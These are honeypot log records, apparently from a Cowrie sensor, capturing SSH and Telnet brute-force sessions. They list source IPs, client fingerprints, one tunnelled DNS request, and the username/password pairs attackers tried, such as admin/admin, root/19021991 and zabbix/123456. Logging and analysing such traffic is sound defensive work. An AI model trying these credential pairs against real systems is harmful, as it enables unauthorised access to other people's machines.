{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:16.041801Z","src_ip":"87.251.64.176","session":"550efa8c6506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00305557250977,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:16.312432Z","src_ip":"89.99.30.209","session":"ab0be7122147","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:16.329443Z","src_ip":"87.251.64.176","session":"550efa8c6506","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:16.428587Z","session":"550efa8c6506","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:16.525442Z","src_ip":"87.251.64.176","session":"550efa8c6506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:16.632119Z","src_ip":"87.251.64.176","session":"550efa8c6506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38886,"dst_ip":"10.17.0.5","dst_port":22,"session":"11e86aa3c455","protocol":"ssh","message":"New connection: 147.45.197.250:38886 (10.17.0.5:22) [session: 11e86aa3c455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:17.687907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:17.693396Z","src_ip":"147.45.197.250","session":"11e86aa3c455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:17.786571Z","src_ip":"147.45.197.250","session":"11e86aa3c455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.99.30.209","src_port":50080,"dst_ip":"159.203.135.109","dst_port":23,"session":"f61268445e2e","protocol":"telnet","message":"New connection: 89.99.30.209:50080 (159.203.135.109:23) [session: f61268445e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:17.987750Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"19021991","message":"login attempt [root/19021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:18.069321Z","src_ip":"147.45.197.250","session":"11e86aa3c455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56222,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a048432312b","protocol":"ssh","message":"New connection: 95.38.165.118:56222 (10.17.0.5:22) [session: 4a048432312b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:18.490759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:18.519418Z","src_ip":"95.38.165.118","session":"4a048432312b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:18.659698Z","src_ip":"95.38.165.118","session":"4a048432312b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:19.163080Z","src_ip":"147.45.197.250","session":"11e86aa3c455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:21.760001Z","src_ip":"95.38.165.118","session":"4a048432312b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:22.931736Z","src_ip":"95.38.165.118","session":"4a048432312b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56238,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bd2cfa9798a","protocol":"ssh","message":"New connection: 95.38.165.118:56238 (10.17.0.5:22) [session: 3bd2cfa9798a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:24.457034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:24.616236Z","src_ip":"95.38.165.118","session":"3bd2cfa9798a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:24.774690Z","src_ip":"95.38.165.118","session":"3bd2cfa9798a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:25.966782Z","src_ip":"95.38.165.118","session":"3bd2cfa9798a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.37035369873047,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:26.304984Z","src_ip":"178.128.93.180","session":"30df0e5e1982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:27.134715Z","src_ip":"95.38.165.118","session":"3bd2cfa9798a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46192,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e9efd43519a","protocol":"ssh","message":"New connection: 95.38.165.118:46192 (10.17.0.5:22) [session: 2e9efd43519a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:30.935946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:30.941329Z","src_ip":"95.38.165.118","session":"2e9efd43519a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:31.103605Z","src_ip":"95.38.165.118","session":"2e9efd43519a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46194,"dst_ip":"10.17.0.5","dst_port":22,"session":"993a36d9985e","protocol":"ssh","message":"New connection: 95.38.165.118:46194 (10.17.0.5:22) [session: 993a36d9985e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:36.574296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:36.579160Z","src_ip":"95.38.165.118","session":"993a36d9985e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:37.282122Z","src_ip":"95.38.165.118","session":"993a36d9985e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:37.774868Z","src_ip":"95.38.165.118","session":"993a36d9985e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":42316,"dst_ip":"10.17.0.5","dst_port":22,"session":"a11bd331db23","protocol":"ssh","message":"New connection: 103.173.227.57:42316 (10.17.0.5:22) [session: a11bd331db23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:40.485532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:40.490417Z","src_ip":"103.173.227.57","session":"a11bd331db23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:40.731041Z","src_ip":"103.173.227.57","session":"a11bd331db23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56126,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb398520a426","protocol":"ssh","message":"New connection: 95.38.165.118:56126 (10.17.0.5:22) [session: bb398520a426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:41.040880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:41.046304Z","src_ip":"95.38.165.118","session":"bb398520a426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:41.215331Z","src_ip":"95.38.165.118","session":"bb398520a426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1g2w3e4r","message":"login attempt [root/1g2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:41.452480Z","src_ip":"103.173.227.57","session":"a11bd331db23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:41.943979Z","src_ip":"95.38.165.118","session":"bb398520a426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:42.695961Z","src_ip":"103.173.227.57","session":"a11bd331db23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:43.397591Z","src_ip":"95.38.165.118","session":"bb398520a426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:43.838208Z","src_ip":"95.38.165.118","session":"993a36d9985e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46348,"dst_ip":"10.17.0.5","dst_port":22,"session":"5abcd5dc3e3f","protocol":"ssh","message":"New connection: 95.38.165.118:46348 (10.17.0.5:22) [session: 5abcd5dc3e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:47.146646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:47.385214Z","src_ip":"95.38.165.118","session":"5abcd5dc3e3f","protocol":"ssh"}
